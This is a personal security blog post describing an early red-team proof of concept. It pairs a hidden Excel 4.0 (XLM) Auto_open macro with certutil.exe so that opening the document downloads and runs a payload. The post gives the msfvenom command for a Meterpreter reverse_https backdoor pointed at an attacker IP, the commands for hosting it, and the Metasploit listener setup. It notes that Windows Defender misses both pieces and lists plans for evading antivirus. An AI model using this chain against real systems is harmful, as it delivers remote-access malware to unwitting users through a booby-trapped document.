I had the privilege of attending DerbyCon this year which is put on by the great folks over at TrustedSec. Aside from a small local Bsides this is the first security conference I had attended and I was blown away. There were so many great talks from so many great people and I was able to meet many great people in the industry.

Two of the most interesting talks that I saw were on the LOLBAS project and on using old-school XLM Macros (Yes I typed that right XLM). I won’t do these great researchers the disservice of trying to sum up their great work but you can check out the links to see details of the research. These 2 fields of research were really interesting on their own but I immediately started plotting how to use these together and weaponize them for Red Team operations.

Below I will detailed my very limited and VERY initial research into combining the 2. In order for this first ‘POC’ (if you can call it that) all I wanted to do was use a malicious Excel doc to trigger a LOLBin which in turn pulls a binary and runs it, giving me shell access to the target device.

Step 1: Create the malicious document

This step is very simple, there are details on creating a ‘Hello World’ XLM document here. Since the EXEC statement can be used to launch any binary on the system, a quick look at LOLBins that can download files over the wire lead me to use the certutil.exe binary to pull down my malicious binary. The example they provide can be only slightly modified for our use.

The next step in our bad Macro is to execute our newly downloaded binary. Now to be fair I cheat here and need to do more research on how to make this work without knowing the folder path, but essentially I downloaded the binary, searched the system for where excel saves it and then I just pasted that path into the EXEC statement. OBVIOUSLY this isn’t a realistic attack scenario but I just wanted to see how effective this could be after some refinement.

After we have created the Macro we can simply right click the Macro tab and hide it. Don’t forget to rename the first cell (A1) to Auto_open!

Step 2: Create and host the bad binary

If the user is running something like SEP or a more advanced endpoint protection it will stop this attack in several ways but if the machine is just running vanilla defender, even this simple binary will work.

Using msfvenom we can create a simple backdoor which will communicate over HTTPS using the command msfvenom -p windows/meterpreter/reverse_https LHOST=ATK_IP LPORT=1313 -f exe -o bypass.exe. Once the binary is made we can move it over to the tmp folder, cp bypass.exe /tmp/, cd to the tmp folder, cd /tmp, the host it with python2 -m SimpleHTTPServer 8082

Step 3: Create the listener

Now that we have our malicious document, created and hosted our bad binary, all we have to do is create a metasploit listener to listen for our reverse shell. Simply run msfconsole and when it loads run use exploit/multi/handler , then set payload windows/meterpreter/reverse_https, don’t forget to set options to match your host!

Then just run exploit -j


Step 4: Open the document and PROFIT

Now just open your malicious document and watch as you pop shells!


Obviously there is still a lot to be done here to make this a useful, fully weaponized attack. A few positive notes: 1) Neither the Macro nor the malicious binary are flagged by Windows Defender. These don’t stand up as well against strong A/V but will be successful for many users. 2) The only user interaction it requires is clicking the ‘enable macros’ button which would be true for any sort of Macro attack.

On the more negative side: 1) At the moment this technique requires a hard-coded file-path which will change (I’m guessing on reboot/logout) so I need to develop a way to either put the binary in a static place or find a way to store the path of the binary in a variable in the Macro to call. 2) If the macro fails it throws a big, descriptive error explaining exactly what went wrong which isn’t exactly ideal from an copse perspective so figuring out how to quiet these alerts will be key. 3) I need to do more research into binary obfuscation and how to better hide the backdoor from A/V or develop a way to keep the exploit off disk. I know it’s possible to do shellcode injection with XLM but I am not L33t enough to figure that out. All help/advice is welcome!

If you have any suggestions or comments please reach out to me on twitter @Th3J0kr

Credit where credit due:

LOLBAS project:

XLM Macro Weaponization:

Leave a Reply

Your email address will not be published. Required fields are marked *